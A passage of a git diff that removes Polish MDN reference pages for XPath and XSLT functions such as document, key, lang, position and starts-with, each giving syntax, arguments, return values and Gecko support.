Zbiór wierzchołków zawierający wyłącznie aktualny wierzchołek.

-

Uwagi

-

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

Aktualny wierzchołek jest zawsze taki sam jak wierzchołek kontekstowy. Następujące dwie funkcje są semantycznie równoważne.

-
<xsl:value-of select="current()"/>
-
-
<xsl:value-of select="."/>
-
-

Definicja

-

XSLT 1.0 12.4 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/current", "fr": "fr/XPath/Fonctions/current" } ) }} diff --git a/files/pl/web/xpath/funkcje/document/index.html b/files/pl/web/xpath/funkcje/document/index.html deleted file mode 100644 index c69211937f..0000000000 --- a/files/pl/web/xpath/funkcje/document/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: document -slug: Web/XPath/Funkcje/document -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/document ---- -

-{{ XsltRef() }} -


-document znajduje zbiór wierzchołków w jednym lub wielu zewnętrznych dokumentach i zwraca wynik jako zbiór wierzchołków.

-

Składnia

-
document( URI [, zbiór_wierzchołków] )
-
-

Argumenty

-
URI -
Bezwzględny lub relatywny adres URI dokumentu do pobrania. URI może także zawierać identyfikator fragmentu.
-
zbiór_wierzchołków (opcjonalny) -
Wyrażenie wskazujące zbiór wierzchołków zewnętrznego dokumentu, który powinien zostać zwrócony.
-

Zwraca

-

Zbiór wierzchołków. -

-

Uwagi

-
  • Jeśli URI zawiera identyfikator fragmentu i fragment ten może zostać zidentyfikowany w dokumencie zewnętrznym, będzie on uważany za główny w wyrażeniu argumentu zbiór_wierzchołków. Jeśli argument zbiór_wierzchołków jest pominięty, zwrócony zostanie cały fragment. -
-
  • Jeśli argument URI jest zbiorem wierzchołków i obecny jest drugi argument, każdy wierzchołek w zbiorze wierzchołków zostanie przetworzony jako oddzielny adres URI, a zwrócony zbiór wierzchołków będzie taki, jak gdyby funkcja document została wywołana wielokrotnie, przy czym wynikowe zbiory wierzchołków zostaną połączone w pojedynczy zbiór wierzchołków. -
-
  • Pozostałe specyficzne warunki istnieją wraz z określonymi zachowaniami. Zobacz dokumentację XSLT 1.0, aby uzyskać szczegóły. -
-
  • Gdy adres URI jest względny wobec dokumentu XSL, document("") zwróci wierzchołek główny aktualnego dokumentu. -
-

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. -

-

Definicja

-

XSLT 1.0 12.1 -

-

Obsługa Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/document", "fr": "fr/XPath/Fonctions/document" } ) }} diff --git a/files/pl/web/xpath/funkcje/element-available/index.html b/files/pl/web/xpath/funkcje/element-available/index.html deleted file mode 100644 index 59948e8acd..0000000000 --- a/files/pl/web/xpath/funkcje/element-available/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: element-available -slug: Web/XPath/Funkcje/element-available -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/element-available ---- -

-{{ XsltRef() }} -


-Funkcja element-available określa czy element jest dostępny i zwraca prawdę lub fałsz.

-

Składnia

-
element-available( QName )
-
-

Argumenty

-
QName -
Musi być prawidłową nazwę (QName). QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. -
-

Zwraca

-

Zwraca prawdę wtedy i tylko wtedy, gdy rozszerzona nazwa jest nazwą instrukcji. Jeśli rozszerzona nazwa posiada URI przestrzeni nazw identyczny z URI przestrzeni nazw XSLT, to odnosi się ona do elementu zdefiniowanego przez XSLT. W przeciwnym wypadku odnosi się ona do elementu rozszerzenia. Jeśli rozszerzona nazwa posiada puste URI przestrzeni nazw, funkcja zwróci wartość fałsz. -

-

Definicja

-

XSLT 1.0 15 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/element-available", "fr": "fr/XPath/Fonctions/element-available" } ) }} diff --git a/files/pl/web/xpath/funkcje/false/index.html b/files/pl/web/xpath/funkcje/false/index.html deleted file mode 100644 index 9eb932a51b..0000000000 --- a/files/pl/web/xpath/funkcje/false/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 'false' -slug: Web/XPath/Funkcje/false -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/false ---- -

-{{ XsltRef() }} -


-Funkcja false zwraca wartość logiczną fałsz. -

-

Składnia

-
false()
-
-

Zwraca

-

Wartość logiczną false. -

-

Uwagi

-

Ta funkcja jest użyteczna jako część porównania: -

-
<xsl:if test="boolean((1 &gt; 2) = false())">
- Wyrażenie jest ocenione jako true
-</xsl:if>
-
-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/false", "fr": "fr/XPath/Fonctions/false", "ja": "ja/XPath/Functions/false" } ) }} diff --git a/files/pl/web/xpath/funkcje/floor/index.html b/files/pl/web/xpath/funkcje/floor/index.html deleted file mode 100644 index 1d82807ae2..0000000000 --- a/files/pl/web/xpath/funkcje/floor/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: floor -slug: Web/XPath/Funkcje/floor -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/floor ---- -

-{{ XsltRef() }} -


-Funkcja floor ocenia liczbę dziesiętną i zwraca największą liczbę całkowitą mniejszą lub równą podanej liczbie dziesiętnej.

-

Składnia

-
floor( liczba )
-
-

Argumenty

-
liczba -
Oceniana liczba dziesiętna. -
-

Zwraca

-

Najbliższą liczbę całkowitą mniejszą lub równą wartości liczba. -

-

Definicja

-

XPath 1.0 4.4 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/floor", "fr": "fr/XPath/Fonctions/floor", "ja": "ja/XPath/Functions/floor" } ) }} diff --git a/files/pl/web/xpath/funkcje/format-number/index.html b/files/pl/web/xpath/funkcje/format-number/index.html deleted file mode 100644 index 5801ec3064..0000000000 --- a/files/pl/web/xpath/funkcje/format-number/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: format-number -slug: Web/XPath/Funkcje/format-number -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/format-number ---- -

-{{ XsltRef() }} -


-

Funkcja format-number ocenia liczbę i zwraca łańcuch znaków reprezentujący liczbę w podanym formacie.

-

Składnia

-
format-number( liczba , wzorzec [, format_dziesiętny] )
-
-

Argumenty

-
liczba -
Liczba do sformatowania -
-
wzorzec -
Łańcuch znaków w formacie klasy DecimalFormat JDK 1.1 (Dokumentacja JDK 1.1 nie jest dostępna. Dostępne są informacje dotyczące Java SE 6 DecimalFormat.). -
-
format_dziesiętny (opcjonalnie) -
Nazwa elementu xsl:decimal-format definiująca format liczby, który ma zostać użyty. Jeśli argument zostanie pominięty, użyty zostanie format dziesiętny. -
-

Zwraca

-

Łańcuch znaków reprezentujący liczbę w nowym formacie. -

-

Uwagi

-

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

-

Definicja

-

XSLT 1.0 12.3 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/format-number", "fr": "fr/XPath/Fonctions/format-number" } ) }} diff --git a/files/pl/web/xpath/funkcje/function-available/index.html b/files/pl/web/xpath/funkcje/function-available/index.html deleted file mode 100644 index db24249160..0000000000 --- a/files/pl/web/xpath/funkcje/function-available/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: function-available -slug: Web/XPath/Funkcje/function-available -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/function-available ---- -

-{{ XsltRef() }} -


-

Funkcja function-available określa czy podana funkcja jest dostępna i zwraca wartość logiczną prawda lub fałsz.

-

Składnia

-
function-available( nazwa )
-
-

Argumenty

-
name -
Nazwa funkcji do ocenienia.
-

Zwraca

-

Wartość logiczną true lub false. -

-

Definicja

-

XPath 1.0 15 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/function-available", "fr": "fr/XPath/Fonctions/function-available" } ) }} diff --git a/files/pl/web/xpath/funkcje/generate-id/index.html b/files/pl/web/xpath/funkcje/generate-id/index.html deleted file mode 100644 index 92ba7a2774..0000000000 --- a/files/pl/web/xpath/funkcje/generate-id/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: generate-id -slug: Web/XPath/Funkcje/generate-id -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/generate-id ---- -

-{{ XsltRef() }} -


-Funkcja generate-id generuje unikatowy identyfikator dla pierwszego wierzchołka w podanym zbiorze wierzchołków i zwraca łańcuch znaków zawierający ten identyfikator.

-

Składnia

-
generate-id( [zbiór_wierzchołków] )
-
-

Argumenty

-
zbiór_wierzchołków (opcjonalny) -
Zostanie wygenerowany identyfikator dla pierwszego wierzchołka tego zbioru wierzchołków. Jeśli argument zostanie pominięty, zostanie użyty aktualny wierzchołek kontekstu. -
-

Zwraca

-

Łańcuch znaków zawierający wygenerowany identyfikator. -

-

Uwagi

-
  • Ten sam identyfikator musi zostać wygenerowany każdorazowo dla tego samego wierzchołka w aktualnym dokumencie aktualnej transformacji. -
-
  • Wygenerowany identyfikator nie może być taki sam w kolejnej transformacji. -
-

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.

-

Definicja

-

XSLT 1.0 12.4 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/generate-id", "fr": "fr/XPath/Fonctions/generate-id" } ) }} diff --git a/files/pl/web/xpath/funkcje/id/index.html b/files/pl/web/xpath/funkcje/id/index.html deleted file mode 100644 index 8473cb77f6..0000000000 --- a/files/pl/web/xpath/funkcje/id/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: id -slug: Web/XPath/Funkcje/id -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/id ---- -

-{{ XsltRef() }} -


-Funkcja id znajduje wierzchołki, które odpowiadają podanym identyfikatorom i zwraca zbiór wierzchołków zawierający zidentyfikowane wierzchołki. -

-

Składnia

-
id( wyrażenie )
-
-

Argumenty

-
wyrażenie -
Jeśli wyrażenie jest zbiorem wierzchołków, to wartość łańcucha znaków każdego wierzchołka w zbiorze wierzchołków jest traktowana jako odrębny identyfikator. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom.
-
Jeśli wyrażenie jest łańcuchem znaków lub czymkolwiek innym niż zbiór wierzchołków, to wyrażenie jest traktowane jako lista identyfikatorów oddzielonych za pomocą spacji. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom.
-

Zwraca

-

Zbiór wierzchołków zawierajacy wierzchołek lub wierzchołki zidentyfikowane za pomocą podanego identyfikatora lub identyfikatorów.

-

Uwagi

-
  • DTD dokumentu XML określa jakim atrybutem jest ID. Zobacz XPath 1.0 5.2.1 -
-

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Częściowo obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/id", "fr": "fr/XPath/Fonctions/id", "ja": "ja/XPath/Functions/id" } ) }} diff --git a/files/pl/web/xpath/funkcje/index.html b/files/pl/web/xpath/funkcje/index.html deleted file mode 100644 index 0ea3d23bfa..0000000000 --- a/files/pl/web/xpath/funkcje/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Funkcje -slug: Web/XPath/Funkcje -tags: - - Dokumentacje - - Wszystkie_kategorie - - XPath - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions ---- -

{{ XsltRef() }} Poniżej znajduje się lista objaśnionych funkcji głównych XPath i specyficznych dla XSLT dodatków do XPath, włączając opis, składnię, listę argumentów, typ wyniku oraz źródło w odpowiedniej rekomendacji W3C i stopień aktualnej obsługi przez Gecko. Aby uzyskać więcej informacji na temat zastosowania funkcji XPath/XSLT, przejdź na stronę: Przeczytaj więcej.

- - - -

 

- -
 
diff --git a/files/pl/web/xpath/funkcje/key/index.html b/files/pl/web/xpath/funkcje/key/index.html deleted file mode 100644 index 41db252168..0000000000 --- a/files/pl/web/xpath/funkcje/key/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: key -slug: Web/XPath/Funkcje/key -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/key ---- -

-{{ XsltRef() }} -


-Funkcja key zwraca zbiór wierzchołków posiadających podaną wartość danego klucza.

-

Składnia

-
key( nazwaklucza , wartość )
-
-

Argumenty

-
nazwaklucza -
Łańcuch znaków zawierający nazwę elementu xsl:key do użycia. -
-
wartość -
Zwrócony zbiór wierzchołków będzie zawierał każdy wierzchołek, który posiada tę wartość dla danego klucza.
-

Zwraca

-

Zbiór wierzchołków. -

-

Uwagi

-
  • Element xsl:key określa, który atrybut i z jakich elementów zostanie użyty do dopasowania klucza.
-

Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. -

-

Definicja

-

XSLT 1.0 12.2 -

-

Gecko

-

Obsługuje. -

{{ languages( { "en": "en/XPath/Functions/key", "fr": "fr/XPath/Fonctions/key" } ) }} diff --git a/files/pl/web/xpath/funkcje/lang/index.html b/files/pl/web/xpath/funkcje/lang/index.html deleted file mode 100644 index fc938aa6c3..0000000000 --- a/files/pl/web/xpath/funkcje/lang/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: lang -slug: Web/XPath/Funkcje/lang -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/lang ---- -

-{{ XsltRef() }} -


-Funkcja lang określa, czy wierzchołek kontekstu jest zgodny z podanym językiem i zwraca wartość logiczną true lub false. -

-

Składnia

-
lang( string )
-
-

Argumenty

-
string -
Kod języka lub lokalizacji (język oraz kraj) do sprawdzenia. -
-

Zwraca

-

True, jeśli wierzchołek kontekstu odpowiada danemu językowi. W przeciwnym wypadku false. -

-

Uwagi

-
  • Język wierzchołka określany jest na podstawie jego atrybutu xml:lang. Jeśli aktualny wierzchołek go nie posiada, wartość jest określana przez najbliższego przodka posiadającego atrybut xml:lang. W przypadku niemożności określenia języka (żaden przodek nie posiada atrybutu xml:lang), funkcja zwróci wartość fałsz. -
-
  • Jeśli dany łańcuch znaków nie określa kodu kraju, funkcja ta porówna wierzchołki tego języka z wszystkimi kodami krajów. Odwrotność nie jest prawdziwa. -
-

Bazując na poniższym fragmencie kodu XML: -

-
<p xml:lang="en">I went up a floor.</p>
-<p xml:lang="en-GB">I took the lift.</p>
-<p xml:lang="en-US">I rode the elevator.</p>
-

Oraz tej części szablonu XSL: -

-
<xsl:value-of select="count(//p[lang('en')])" />
-<xsl:value-of select="count(//p[lang('en-GB')])" />
-<xsl:value-of select="count(//p[lang('en-US')])" />
-<xsl:value-of select="count(//p[lang('de')])" />
-
-

Wynik może być następujący: -

-
3
-1
-1
-0
-
-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/lang", "fr": "fr/XPath/Fonctions/lang", "ja": "ja/XPath/Functions/lang" } ) }} diff --git a/files/pl/web/xpath/funkcje/last/index.html b/files/pl/web/xpath/funkcje/last/index.html deleted file mode 100644 index f3a507ad3f..0000000000 --- a/files/pl/web/xpath/funkcje/last/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: last -slug: Web/XPath/Funkcje/last -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/last ---- -

-{{ XsltRef() }} -


-Funkcja last zwracająca liczbę równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. -

-

Składnia

-
last()
-
-

Zwraca

-

Liczbę całkowitą równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. -

-

Uwagi

-
  • Jest często używana wraz z funkcją position() do określenia, czy konkretny wierzchołek jest ostatni w zbiorze wierzchołków. -
-

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/last", "fr": "fr/XPath/Fonctions/last", "ja": "ja/XPath/Functions/last" } ) }} diff --git a/files/pl/web/xpath/funkcje/local-name/index.html b/files/pl/web/xpath/funkcje/local-name/index.html deleted file mode 100644 index 95996699eb..0000000000 --- a/files/pl/web/xpath/funkcje/local-name/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: local-name -slug: Web/XPath/Funkcje/local-name -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/local-name ---- -

-{{ XsltRef() }} -


-Funkcja local-name zwraca łańcuch znaków reprezentujący lokalną nazwę pierwszego wierzchołka w danym zbiorze wierzchołków.

-

Składnia

-
local-name( [zbiór_wierzchołków] )
-
-

Argumenty

-
zbiór_wierzchołków (opcjonalny) -
Zostanie zwrócona nazwa lokalna pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli ten argument jest pominięty, zostanie użyty aktualny wierzchołek kontekstu. -
-

Zwraca

-

Łańcuch znaków -

-

Uwagi

- -

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/local-name", "fr": "fr/XPath/Fonctions/local-name", "ja": "ja/XPath/Functions/local-name" } ) }} diff --git a/files/pl/web/xpath/funkcje/name/index.html b/files/pl/web/xpath/funkcje/name/index.html deleted file mode 100644 index d9817c87dd..0000000000 --- a/files/pl/web/xpath/funkcje/name/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: name -slug: Web/XPath/Funkcje/name -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/name ---- -

-{{ XsltRef() }} -


-Funkcja name zwraca łańcuch znaków reprezentujący QName pierwszego wierzchołka w danym zbiorze wierzchołków.

-

Składnia

-
name( [zbiór_wierzchołków] )
-
-

Argumenty

-
zbiór_wierzchołków (opcjonalny) -
Zostanie zwrócony QName pierwszego wierzchołka w tym zbiorze. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu.
-

Zwraca

-

Łańcuch znaków reprezentujący QName wierzchołka. -

-

Uwagi

-
  • QName jest odpowiednią nazwą wierzchołka, włączając prefiks jego przestrzeni nazw i jego lokalną nazwę. -
-

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/name", "fr": "fr/XPath/Fonctions/name", "ja": "ja/XPath/Functions/name" } ) }} diff --git a/files/pl/web/xpath/funkcje/namespace-uri/index.html b/files/pl/web/xpath/funkcje/namespace-uri/index.html deleted file mode 100644 index 4c5e2e5d16..0000000000 --- a/files/pl/web/xpath/funkcje/namespace-uri/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: namespace-uri -slug: Web/XPath/Funkcje/namespace-uri -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/namespace-uri ---- -

-{{ XsltRef() }} -


-Funkcja namespace-uri zwraca łańcuch znaków reprezentujący URI przestrzeni nazw dla pierwszego wierzchołka danego zbioru wierzchołków.

-

Składnia

-
namespace-uri( [zbiór_wierzchołków] )
-
-

Argumenty

-
zbiór_wierzchołków (opcjonalny) -
Zwrócony zostanie URI przestrzeni nazw pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu. -
-

Zwraca

-

Ciąg reprezentujący URI przestrzeni nazw, w której dany wierzchołek kontekstu się znajduje. -

-

Uwagi

-
  • Jeśli podany wierzchołek nie posiada przestrzeni nazw, zwrócony łańcuch znaków będzie zawsze pusty.
-
  • Dla wierzchołków innych niż wierzchołki elementu i atrybutu, zwrócony łańcuch znaków będzie zawsze pusty. -
-

Definicja

-

XPath 1.0 4.1 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/namespace-uri", "fr": "fr/XPath/Fonctions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri" } ) }} diff --git a/files/pl/web/xpath/funkcje/normalize-space/index.html b/files/pl/web/xpath/funkcje/normalize-space/index.html deleted file mode 100644 index 4fb220da39..0000000000 --- a/files/pl/web/xpath/funkcje/normalize-space/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: normalize-space -slug: Web/XPath/Funkcje/normalize-space -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/normalize-space ---- -

-{{ XsltRef() }} -


-Funkcja normalize-space usuwa poprzedzające i końcowe białe znaki z łańcucha znaków, zastępując je pojedynczą spacją i zwracając łańcuch wynikowy. -

-

Składnia

-
normalize-space( [łańcuch_znaków] )
-
-

Argumenty

-
łańcuch_znaków (opcjonalny) -
Łańcuch znaków do znormalizowania. Jeśli zostanie pominięty, użyty zostanie wierzchołek kontekstu skonwertowany do łańcucha znaków. -
-

Zwraca

-

Znormalizowany łańcuch znaków. -

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/normalize-space", "fr": "fr/XPath/Fonctions/normalize-space", "ja": "ja/XPath/Functions/normalize-space" } ) }} diff --git a/files/pl/web/xpath/funkcje/not/index.html b/files/pl/web/xpath/funkcje/not/index.html deleted file mode 100644 index 9de59d5d7a..0000000000 --- a/files/pl/web/xpath/funkcje/not/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: not -slug: Web/XPath/Funkcje/not -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/not ---- -

-{{ XsltRef() }} -


-Funkcja not ocenia wartość wyrażenia logicznego i zwraca wartość przeciwną. -

-

Składnia

-
not( wyrażenie )
-
-

Argumenty

-
wyrażenie -
Wyrażenie jest oceniane dokładnie tak, jak gdyby zostało ono przekazane jako argument funkcji boolean(). -
-

Zwraca

-

Prawda, jeśli wyrażenie jest fałszywe; fałsz, jeżeli wyrażenie zostało ocenione jako prawdziwe. -

-

Uwagi

-
  • Funkcja ta powinna zachowywać się podobnie do funkcji boolean(), oprócz tego, że zwraca ona przeciwną wartość wyrażenia. -
-

Definicja

-

XPath 1.0 4.3 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/not", "fr": "fr/XPath/Fonctions/not", "ja": "ja/XPath/Functions/not" } ) }} diff --git a/files/pl/web/xpath/funkcje/number/index.html b/files/pl/web/xpath/funkcje/number/index.html deleted file mode 100644 index 22d3f72b02..0000000000 --- a/files/pl/web/xpath/funkcje/number/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: number -slug: Web/XPath/Funkcje/number -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/number ---- -

-{{ XsltRef() }} -


-Funkcja number konwertuje obiekt do liczby i zwraca liczbę.

-

Składnia

-
number( [obiekt] )
-
-

Argumenty

-
obiekt (opcjonalny) -
Obiekt, który ma zostać przekonwertowany do liczby. Jeśli pominięty, użyty zostanie wierzchołek aktualnego kontekstu. -
-

Zwraca

-

Liczbę będącą wynikiem konwersji obiektu. -

-

Uwagi

-
  • Łańcuchy znaków są konwertowane do liczby poprzez usunięcie poprzedzających białych znaków znajdujących się przed liczbą i zignorowanie białych znaków występujących po niej. Jeśli łańcuch znaków nie odpowiada temu wzorcowi, jest on konwertowany do wartości NaN.
  • Logiczna prawda jest konwertowana do 1. Fałsz jest konwertowany do 0.
  • Zbiór wierzchołków jest konwertowany najpierw do łańcucha znaków tak, jak przez funkcję string(), a następnie konwertowany w ten sam sposób, co argument będący łańcuchem znaków. -
  • Typ obiektu inny niż cztery typy podstawowe jest konwertowany do liczby w sposób zależny od tego typu. -
-

Definicja

-

XPath 1.0 4.4 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/number", "fr": "fr/XPath/Fonctions/number", "ja": "ja/XPath/Functions/number" } ) }} diff --git a/files/pl/web/xpath/funkcje/position/index.html b/files/pl/web/xpath/funkcje/position/index.html deleted file mode 100644 index 9c7b6fbe21..0000000000 --- a/files/pl/web/xpath/funkcje/position/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: position -slug: Web/XPath/Funkcje/position -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/position ---- -

{{ XsltRef() }}

- -


- Funkcja position zwraca liczbę równą pozycji kontekstu z kontekstu oceny wyrażenia.

- -

Składnia

- -
position()
-
- -

Zwraca

- -

Liczbę całkowitą równą pozycji kontekstu z kontekstu oceny wyrażenia.

- -

Uwagi

- -
    -
  • Należy zauważyć, że pozycja węzła w kontekście nie zaczyna się od zera. Pierwszy węzeł ma pozycję 1.
  • -
  • Kontekst jest określony przez resztę ścieżki.
  • -
- -
<xsl:template match="//a[position() = 5]">
- <!-- ten szablon odpowiada piątemu elementowi 'a' gdziekolwiek
-      w dokumencie. -->
-</xsl:template>
-
- -
<xsl:template match="//div[@class='foo']/bar[position() = 1]">
- <!-- ten szablon odpowiada pierwszemu elementowi 'bar' będącemu
-      potomkiem elementu 'div' z atrybutem class równym 'foo' -->
-</xsl:template>
-
- -

Definicja

- -

XPath 1.0 4.1

- -

Gecko

- -

Obsługuje.

- -
- -

{{ languages( { "en": "en/XPath/Functions/position", "fr": "fr/XPath/Fonctions/position", "ja": "ja/XPath/Functions/position" } ) }}

diff --git a/files/pl/web/xpath/funkcje/round/index.html b/files/pl/web/xpath/funkcje/round/index.html deleted file mode 100644 index 8f9d827b74..0000000000 --- a/files/pl/web/xpath/funkcje/round/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: round -slug: Web/XPath/Funkcje/round -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/round ---- -

-{{ XsltRef() }} -


-Funkcja round zwraca liczbę będąca liczbą całkowitą najbliższą podanej.

-

Składnia

-
round( dziesiętna )
-
-

Argumenty

-
dziesiętna -
Liczba dziesiętna do zaokrąglenia. -
-

Zwraca

-

Najbliższą liczbę całkowitą mniejszą, większą bądź równą wartości dziesiętna. -

-

Uwagi

-
  • Liczba -0.5 jest zaokrąglana do zera ujemnego. 0.4 jest zaokrąglana do zera dodatniego. -
-

Definicja

-

XPath 1.0 4.4 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/round", "fr": "fr/XPath/Fonctions/round", "ja": "ja/XPath/Functions/round" } ) }} diff --git a/files/pl/web/xpath/funkcje/starts-with/index.html b/files/pl/web/xpath/funkcje/starts-with/index.html deleted file mode 100644 index f833baa82f..0000000000 --- a/files/pl/web/xpath/funkcje/starts-with/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: starts-with -slug: Web/XPath/Funkcje/starts-with -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/starts-with ---- -

-{{ XsltRef() }} -


-

Funkcja starts-with sprawdza, czy pierwszy łańcuch znaków rozpoczyna się drugim łańcuchem i zwraca prawdę lub fałsz.

-

Składnia

-
starts-with( stóg siana , igła)
-
-

Argumenty

-
stóg siana -
Przeszukiwany łańcuch znaków. -
-
igła -
Szukany łańcuch znaków. -
-

Zwraca

-

True, jeśli stóg siana rozpoczyna się podciągiem igła. W przeciwnym wypadku false. -

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
-{{ languages( { "en": "en/XPath/Functions/starts-with", "fr": "fr/XPath/Fonctions/starts-with", "ja": "ja/XPath/Functions/starts-with" } ) }} diff --git a/files/pl/web/xpath/funkcje/string-length/index.html b/files/pl/web/xpath/funkcje/string-length/index.html deleted file mode 100644 index d0890579ab..0000000000 --- a/files/pl/web/xpath/funkcje/string-length/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: string-length -slug: Web/XPath/Funkcje/string-length -tags: - - Dokumentacje - - Wszystkie_kategorie - - XSLT - - 'XSLT:Dokumentacje' -translation_of: Web/XPath/Functions/string-length ---- -

-{{ XsltRef() }} -


-Funkcja string-length zwraca liczbę równą liczbie znaków w danym łańcuchu znaków.

-

Składnia

-
string-length( [łańcuch] )
-
-

Argumenty

-
łańcuch (opcjonalny) -
Oceniany łańcuch znaków. Jeśli pominięty, użyty zostanie łańcuch znaków taki sam jak wierzchołek kontekstu skonwertowany do łańcucha znaków.
-

Zwraca

-

Liczbę całkowitą równą liczbie znaków w ciągu. -

-

Definicja

-

XPath 1.0 4.2 -

-

Gecko

-

Obsługuje. -

-
-
